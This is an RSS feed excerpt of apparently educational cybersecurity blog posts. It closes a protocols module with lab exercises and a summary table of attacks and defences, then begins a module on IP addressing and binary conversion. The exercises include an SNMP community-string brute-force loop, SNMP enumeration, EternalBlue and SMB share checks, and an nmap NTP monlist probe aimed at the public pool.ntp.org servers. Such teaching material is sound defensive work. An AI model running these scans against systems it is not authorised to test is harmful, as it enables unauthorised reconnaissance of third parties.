    &lt;/span&gt;&lt;span class="nv"&gt;result&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;snmpget &lt;span class="nt"&gt;-v2c&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="nv"&gt;$community&lt;/span&gt; &lt;span class="nt"&gt;-t&lt;/span&gt; 2 &lt;span class="nv"&gt;$TARGET&lt;/span&gt; 1.3.6.1.2.1.1.1.0 2&amp;gt;/dev/null&lt;span class="si"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$?&lt;/span&gt; &lt;span class="nt"&gt;-eq&lt;/span&gt; 0 &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
        &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"[FOUND] Community: '&lt;/span&gt;&lt;span class="nv"&gt;$community&lt;/span&gt;&lt;span class="s2"&gt;'"&lt;/span&gt;
        &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"System: &lt;/span&gt;&lt;span class="nv"&gt;$result&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
        &lt;span class="nb"&gt;break
    &lt;/span&gt;&lt;span class="k"&gt;else
        &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"[FAILED] Community: '&lt;/span&gt;&lt;span class="nv"&gt;$community&lt;/span&gt;&lt;span class="s2"&gt;'"&lt;/span&gt;
    &lt;span class="k"&gt;fi
done&lt;/span&gt;

&lt;span class="c"&gt;# Full enumeration if community found:&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== System Information ==="&lt;/span&gt;
snmpwalk &lt;span class="nt"&gt;-v2c&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; public &lt;span class="nv"&gt;$TARGET&lt;/span&gt; 1.3.6.1.2.1.1 2&amp;gt;/dev/null

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Network Interfaces ==="&lt;/span&gt;
snmpwalk &lt;span class="nt"&gt;-v2c&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; public &lt;span class="nv"&gt;$TARGET&lt;/span&gt; 1.3.6.1.2.1.2.2.1.2 2&amp;gt;/dev/null | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-10&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== IP Addresses ==="&lt;/span&gt;
snmpwalk &lt;span class="nt"&gt;-v2c&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; public &lt;span class="nv"&gt;$TARGET&lt;/span&gt; 1.3.6.1.2.1.4.20 2&amp;gt;/dev/null

&lt;span class="c"&gt;# Check for monlist vulnerability (NTP amplification):&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== NTP Monlist Check ==="&lt;/span&gt;
&lt;span class="nv"&gt;TARGET_NTP&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"pool.ntp.org"&lt;/span&gt;
nmap &lt;span class="nt"&gt;-sU&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 123 &lt;span class="nt"&gt;--script&lt;/span&gt; ntp-monlist &lt;span class="nv"&gt;$TARGET_NTP&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"monlist|vulnerable"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 5: SMB Security Assessment (45 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# SMB security assessment on local network (lab only)&lt;/span&gt;

&lt;span class="nv"&gt;TARGET_SMB&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"localhost"&lt;/span&gt;   &lt;span class="c"&gt;# Test on your own system or lab VM&lt;/span&gt;

&lt;span class="c"&gt;# Check SMB version support:&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== SMB Protocol Versions ==="&lt;/span&gt;
nmap &lt;span class="nt"&gt;--script&lt;/span&gt; smb-protocols &lt;span class="nt"&gt;-p&lt;/span&gt; 445 &lt;span class="nv"&gt;$TARGET_SMB&lt;/span&gt; 2&amp;gt;/dev/null

&lt;span class="c"&gt;# Check security mode (signing):&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== SMB Security Mode ==="&lt;/span&gt;
nmap &lt;span class="nt"&gt;--script&lt;/span&gt; smb2-security-mode &lt;span class="nt"&gt;-p&lt;/span&gt; 445 &lt;span class="nv"&gt;$TARGET_SMB&lt;/span&gt; 2&amp;gt;/dev/null

&lt;span class="c"&gt;# List available shares (no credentials):&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Anonymous Share Enumeration ==="&lt;/span&gt;
smbclient &lt;span class="nt"&gt;-L&lt;/span&gt; //&lt;span class="nv"&gt;$TARGET_SMB&lt;/span&gt; &lt;span class="nt"&gt;-N&lt;/span&gt; 2&amp;gt;/dev/null &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"No anonymous access (good)"&lt;/span&gt;

&lt;span class="c"&gt;# Check for EternalBlue:&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== EternalBlue Vulnerability ==="&lt;/span&gt;
nmap &lt;span class="nt"&gt;--script&lt;/span&gt; smb-vuln-ms17-010 &lt;span class="nt"&gt;-p&lt;/span&gt; 445 &lt;span class="nv"&gt;$TARGET_SMB&lt;/span&gt; 2&amp;gt;/dev/null

&lt;span class="c"&gt;# Check Windows SMBv1 status (run on Windows host):&lt;/span&gt;
&lt;span class="c"&gt;# Get-SmbServerConfiguration | Select EnableSMB1Protocol&lt;/span&gt;
&lt;span class="c"&gt;# Set-SmbServerConfiguration -EnableSMB1Protocol $false&lt;/span&gt;

&lt;span class="c"&gt;# Build a complete protocol audit script:&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/protocol_audit.sh &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
#!/bin/bash
TARGET=&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;1&lt;/span&gt;&lt;span class="k"&gt;:-&lt;/span&gt;&lt;span class="s2"&gt;"192.168.1.1"&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;
echo "Protocol Security Audit: &lt;/span&gt;&lt;span class="nv"&gt;$TARGET&lt;/span&gt;&lt;span class="sh"&gt;"
echo "================================"

check_port() {
    nc -zw 1 &lt;/span&gt;&lt;span class="nv"&gt;$TARGET&lt;/span&gt;&lt;span class="sh"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="sh"&gt; 2&amp;gt;/dev/null &amp;amp;&amp;amp; echo "OPEN" || echo "CLOSED/FILTERED"
}

echo "[HTTP]    Port 80:  &lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;check_port 80&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;"
echo "[HTTPS]   Port 443: &lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;check_port 443&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;"
echo "[FTP]     Port 21:  &lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;check_port 21&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;"
echo "[SSH]     Port 22:  &lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;check_port 22&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;"
echo "[Telnet]  Port 23:  &lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;check_port 23&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;"
echo "[SMTP]    Port 25:  &lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;check_port 25&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;"
echo "[IMAP]    Port 143: &lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;check_port 143&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;"
echo "[IMAPS]   Port 993: &lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;check_port 993&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;"
echo "[LDAP]    Port 389: &lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;check_port 389&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;"
echo "[RDP]     Port 3389:&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;check_port 3389&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;"
echo "[SMB]     Port 445: &lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;check_port 445&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;"

echo ""
echo "[SNMP]    UDP 161: "
nc -zuw 1 &lt;/span&gt;&lt;span class="nv"&gt;$TARGET&lt;/span&gt;&lt;span class="sh"&gt; 161 2&amp;gt;/dev/null &amp;amp;&amp;amp; echo "OPEN" || echo "CLOSED/FILTERED"

echo ""
echo "=== Risk Assessment ==="
nc -zw 1 &lt;/span&gt;&lt;span class="nv"&gt;$TARGET&lt;/span&gt;&lt;span class="sh"&gt; 23 2&amp;gt;/dev/null &amp;amp;&amp;amp; echo "[CRITICAL] Telnet is OPEN — cleartext protocol"
nc -zw 1 &lt;/span&gt;&lt;span class="nv"&gt;$TARGET&lt;/span&gt;&lt;span class="sh"&gt; 21 2&amp;gt;/dev/null &amp;amp;&amp;amp; echo "[HIGH] FTP is OPEN — cleartext protocol"
nc -zw 1 &lt;/span&gt;&lt;span class="nv"&gt;$TARGET&lt;/span&gt;&lt;span class="sh"&gt; 80 2&amp;gt;/dev/null &amp;amp;&amp;amp; echo "[MEDIUM] HTTP is OPEN — check if sensitive data exposed"
nc -zw 1 &lt;/span&gt;&lt;span class="nv"&gt;$TARGET&lt;/span&gt;&lt;span class="sh"&gt; 3389 2&amp;gt;/dev/null &amp;amp;&amp;amp; echo "[HIGH] RDP is OPEN — check BlueKeep vulnerability and NLA"
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;span class="nb"&gt;chmod&lt;/span&gt; +x /tmp/protocol_audit.sh
bash /tmp/protocol_audit.sh &lt;span class="nv"&gt;$TARGET_SMB&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  15. Module Summary
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Protocol&lt;/th&gt;
&lt;th&gt;Port(s)&lt;/th&gt;
&lt;th&gt;Core Function&lt;/th&gt;
&lt;th&gt;Primary Attacks&lt;/th&gt;
&lt;th&gt;Critical Defence&lt;/th&gt;
&lt;th&gt;OT/ICS Risk&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;HTTP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;80/TCP&lt;/td&gt;
&lt;td&gt;Web communication&lt;/td&gt;
&lt;td&gt;MITM, session hijack, cleartext creds&lt;/td&gt;
&lt;td&gt;Force HTTPS, HSTS&lt;/td&gt;
&lt;td&gt;HMI web interfaces often HTTP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;HTTPS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;443/TCP&lt;/td&gt;
&lt;td&gt;Encrypted web&lt;/td&gt;
&lt;td&gt;TLS downgrade, Heartbleed, BEAST&lt;/td&gt;
&lt;td&gt;TLS 1.3, certificate pinning&lt;/td&gt;
&lt;td&gt;Modern OT uses HTTPS, verify TLS config&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;FTP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;21/TCP&lt;/td&gt;
&lt;td&gt;File transfer&lt;/td&gt;
&lt;td&gt;Credential capture, bounce attack&lt;/td&gt;
&lt;td&gt;Replace with SFTP&lt;/td&gt;
&lt;td&gt;PLC firmware transfer, config backup&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;SFTP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;22/TCP&lt;/td&gt;
&lt;td&gt;Secure file transfer&lt;/td&gt;
&lt;td&gt;Brute force&lt;/td&gt;
&lt;td&gt;Key-based auth&lt;/td&gt;
&lt;td&gt;Preferred for OT where available&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;SMTP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;25,587/TCP&lt;/td&gt;
&lt;td&gt;Email sending&lt;/td&gt;
&lt;td&gt;Spoofing, open relay, phishing&lt;/td&gt;
&lt;td&gt;SPF+DKIM+DMARC+TLS&lt;/td&gt;
&lt;td&gt;SCADA alarm notifications&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;POP3/IMAP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;110,143/TCP&lt;/td&gt;
&lt;td&gt;Email retrieval&lt;/td&gt;
&lt;td&gt;Credential capture&lt;/td&gt;
&lt;td&gt;Use TLS variants (993/995)&lt;/td&gt;
&lt;td&gt;Email credential exposure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;SSH&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;22/TCP&lt;/td&gt;
&lt;td&gt;Secure remote shell&lt;/td&gt;
&lt;td&gt;Brute force, key theft, tunnelling&lt;/td&gt;
&lt;td&gt;Key-only auth, no root&lt;/td&gt;
&lt;td&gt;Modern switch management&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Telnet&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;23/TCP&lt;/td&gt;
&lt;td&gt;Cleartext remote shell&lt;/td&gt;
&lt;td&gt;Complete session capture&lt;/td&gt;
&lt;td&gt;Replace with SSH&lt;/td&gt;
&lt;td&gt;ENDEMIC in legacy OT — critical risk&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;SNMP v1/v2c&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;161/UDP&lt;/td&gt;
&lt;td&gt;Network management&lt;/td&gt;
&lt;td&gt;Community brute force, amplification DDoS&lt;/td&gt;
&lt;td&gt;SNMPv3 authPriv&lt;/td&gt;
&lt;td&gt;CRITICAL — exposes full OT topology&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;NTP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;123/UDP&lt;/td&gt;
&lt;td&gt;Time synchronisation&lt;/td&gt;
&lt;td&gt;Amplification DDoS, clock poisoning&lt;/td&gt;
&lt;td&gt;Authenticated NTP, multiple sources&lt;/td&gt;
&lt;td&gt;OT protection relay timing critical&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;LDAP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;389/TCP&lt;/td&gt;
&lt;td&gt;Directory queries&lt;/td&gt;
&lt;td&gt;Injection, null bind, AD enumeration&lt;/td&gt;
&lt;td&gt;LDAPS, disable null bind&lt;/td&gt;
&lt;td&gt;Corporate AD → OT lateral movement&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;RDP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;3389/TCP&lt;/td&gt;
&lt;td&gt;Graphical remote access&lt;/td&gt;
&lt;td&gt;BlueKeep, brute force, relay, session hijack&lt;/td&gt;
&lt;td&gt;NLA + VPN + MFA + patch&lt;/td&gt;
&lt;td&gt;Windows HMI remote access — common&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;SMBv1&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;445/TCP&lt;/td&gt;
&lt;td&gt;Legacy file sharing&lt;/td&gt;
&lt;td&gt;EternalBlue (WannaCry/NotPetya)&lt;/td&gt;
&lt;td&gt;DISABLE — no exceptions&lt;/td&gt;
&lt;td&gt;WannaCry hit production OT networks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;SMB 3&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;445/TCP&lt;/td&gt;
&lt;td&gt;Modern file sharing&lt;/td&gt;
&lt;td&gt;NTLM relay (without signing)&lt;/td&gt;
&lt;td&gt;SMB signing required, encryption enabled&lt;/td&gt;
&lt;td&gt;Windows SCADA file sharing&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Next Module:&lt;/strong&gt; &lt;a href="//./stage-1.6-network-devices.md"&gt;Stage 1.6 — Network Devices&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Previous Module:&lt;/strong&gt; &lt;a href="//./stage-1.4-ip-addressing-subnetting.md"&gt;Stage 1.4 — IP Addressing and Subnetting&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Series Index:&lt;/strong&gt; &lt;a href="//../../README.md"&gt;Full Roadmap&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;&lt;em&gt;This document is part of the Cybersecurity × OT/ICS Security Full Roadmap series. All techniques are presented for educational purposes, authorised security research, and defensive security practice. Always obtain proper authorisation before testing any system.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>bytewallacademy</category>
      <category>programmers</category>
      <category>cyber</category>
    </item>
    <item>
      <title>Stage 1.4 — IP Addressing and Subnetting</title>
      <dc:creator>Rençber AKMAN</dc:creator>
      <pubDate>Tue, 02 Jun 2026 13:43:31 +0000</pubDate>
      <link>https://dev.to/rencberakman/stage-14-ip-addressing-and-subnetting-54l</link>
      <guid>https://dev.to/rencberakman/stage-14-ip-addressing-and-subnetting-54l</guid>
      <description>&lt;h3&gt;
  
  
  From Zero to Cybersecurity Professional | Complete Roadmap Series
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Series:&lt;/strong&gt; Cybersecurity × OT/ICS Security — Full Roadmap&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Stage:&lt;/strong&gt; 1 — Network Fundamentals&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Module:&lt;/strong&gt; 1.4 — IP Addressing and Subnetting&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Level:&lt;/strong&gt; Beginner → Advanced&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Prerequisites:&lt;/strong&gt; Stage 1.3 — TCP/IP Model&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Next Module:&lt;/strong&gt; 1.5 — Core Protocols&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Why IP Addressing Is a Security Skill, Not Just a Network Skill&lt;/li&gt;
&lt;li&gt;IPv4 Structure — Octets, Binary, and Everything Underneath&lt;/li&gt;
&lt;li&gt;Address Classes — A, B, C and Why They Still Matter&lt;/li&gt;
&lt;li&gt;Public vs Private IP — The Trust Boundary&lt;/li&gt;
&lt;li&gt;CIDR Notation — The Modern Standard&lt;/li&gt;
&lt;li&gt;Subnet Mask Calculation — From Binary to Practice&lt;/li&gt;
&lt;li&gt;Subnetting — Designing and Breaking Networks&lt;/li&gt;
&lt;li&gt;VLSM — Variable Length Subnet Masking&lt;/li&gt;
&lt;li&gt;NAT — Network Address Translation&lt;/li&gt;
&lt;li&gt;PAT — Port Address Translation&lt;/li&gt;
&lt;li&gt;DHCP — How IP Addresses Are Assigned&lt;/li&gt;
&lt;li&gt;DNS — How Names Become Addresses&lt;/li&gt;
&lt;li&gt;DNS Record Types — The Full Map&lt;/li&gt;
&lt;li&gt;IP Addressing in OT/ICS Environments&lt;/li&gt;
&lt;li&gt;Hands-On Exercises&lt;/li&gt;
&lt;li&gt;Module Summary&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  1. Why IP Addressing Is a Security Skill, Not Just a Network Skill
&lt;/h2&gt;

&lt;p&gt;IP addressing is universally taught as a network engineering topic. Most security courses treat it the same way — cover the basics, move on to "real security." This is a mistake that costs professionals dearly in practice.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Concrete examples of how IP addressing knowledge directly enables or prevents attacks:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Reconnaissance:&lt;/strong&gt; Every penetration test begins with identifying the target's IP ranges. CIDR notation determines your scan scope. Understanding which ranges are public vs private tells you what is directly exposed vs behind NAT. Misidentifying the scope means missing assets or scanning out-of-scope systems — both are serious professional failures.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;DHCP starvation and rogue DHCP:&lt;/strong&gt; An attacker who understands DHCP's mechanics can exhaust a server's IP pool by repeatedly requesting addresses with spoofed MACs, then deploy a rogue DHCP server that assigns the attacker as the default gateway — a full network MITM without touching a single firewall rule.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;DNS as an attack vector:&lt;/strong&gt; DNS is involved in over 90% of malware C2 communications according to Cisco Talos research. DNS cache poisoning, DNS tunnelling, subdomain takeover, dangling CNAME exploitation — all require deep DNS record knowledge to execute or detect.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;NAT traversal:&lt;/strong&gt; Understanding how NAT works is what allows attackers to design C2 channels that reach through NAT (reverse shells, DNS tunnelling, HTTPS beaconing). It is also what allows defenders to understand why a reverse shell works when a bind shell does not.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;VLSM and network segmentation:&lt;/strong&gt; Designing effective network segmentation — separating user VLANs from server VLANs from OT networks — requires VLSM. Reviewing a network architecture for security flaws requires understanding whether the subnetting design actually achieves the intended isolation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;For OT/ICS:&lt;/strong&gt; Substation automation systems, SCADA networks, and industrial control networks all use IP addressing. The specific subnets in use, the address allocation strategy, and the DHCP/DNS configuration determine the lateral movement paths available to an attacker who gains initial access.&lt;/p&gt;

&lt;p&gt;The security mindset for this module: &lt;strong&gt;IP addresses are not just numbers — they are the addressing scheme of the entire attack surface. Every IP, every subnet, every DNS record is a piece of the map.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  2. IPv4 Structure — Octets, Binary, and Everything Underneath
&lt;/h2&gt;

&lt;h3&gt;
  
  
  2.1 The Physical Reality of an IP Address
&lt;/h3&gt;

&lt;p&gt;An IPv4 address is a &lt;strong&gt;32-bit binary number&lt;/strong&gt;. Everything else — the dotted-decimal notation, the subnet masks, the network/host distinction — is a human-readable interpretation of those 32 bits.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;192      .    168     .     1      .    100
11000000   10101000   00000001   01100100

Each group of 8 bits = 1 octet = 1 byte
Range per octet: 0 (00000000) to 255 (11111111)
Total combinations: 2^32 = 4,294,967,296
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2.2 Binary Conversion — The Foundation
&lt;/h3&gt;

&lt;p&gt;Every security professional must be able to convert between binary and decimal without a calculator. This is not academic — you will need to calculate network addresses, broadcast addresses, and subnet masks mentally or on paper during exams, interviews, and real assessments.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Positional values in a single octet:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Bit position:  7    6    5    4    3    2    1    0
Value:        128   64   32   16    8    4    2    1

Example: 192 in binary
  192 = 128 + 64 = 10000000 + 01000000 = 11000000 ✓

  Verify: 128 + 64 = 192 ✓

Example: 168 in binary
  168 = 128 + 32 + 8 = 10101000

  Verify: 128 + 32 + 8 = 168 ✓

Example: 255 in binary
  255 = 128 + 64 + 32 + 16 + 8 + 4 + 2 + 1 = 11111111

  This is the maximum value — all bits set.

Example: 0 in binary
  0 = 00000000
  All bits zero.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Decimal to binary — the systematic method:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Convert 172 to binary:

Step 1: Is 172 ≥ 128? YES → bit 7 = 1, remainder = 172 - 128 = 44
Step 2: Is 44 ≥ 64?  NO  → bit 6 = 0
Step 3: Is 44 ≥ 32?  YES → bit 5 = 1, remainder = 44 - 32 = 12
Step 4: Is 12 ≥ 16?  NO  → bit 4 = 0
Step 5: Is 12 ≥ 8?   YES → bit 3 = 1, remainder = 12 - 8 = 4
Step 6: Is 4 ≥ 4?    YES → bit 2 = 1, remainder = 4 - 4 = 0
Step 7: Is 0 ≥ 2?    NO  → bit 1 = 0
Step 8: Is 0 ≥ 1?    NO  → bit 0 = 0

Result: 10101100 = 172 ✓
Verify: 128 + 32 + 8 + 4 = 172 ✓
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Full IP address in binary:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;192.168.1.100

192 = 11000000
168 = 10101000
  1 = 00000001
100 = 01100100

Full binary: 11000000.10101000.00000001.01100100
As integer:  3232235876
As hex:      C0.A8.01.64  →  0xC0A80164
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Python — complete IP representation toolkit
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;ipaddress&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;ip_analysis&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ip_str&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;ip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ipaddress&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ip_address&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ip_str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# Binary representation
&lt;/span&gt;    &lt;span class="n"&gt;octets&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ip_str&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;.&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
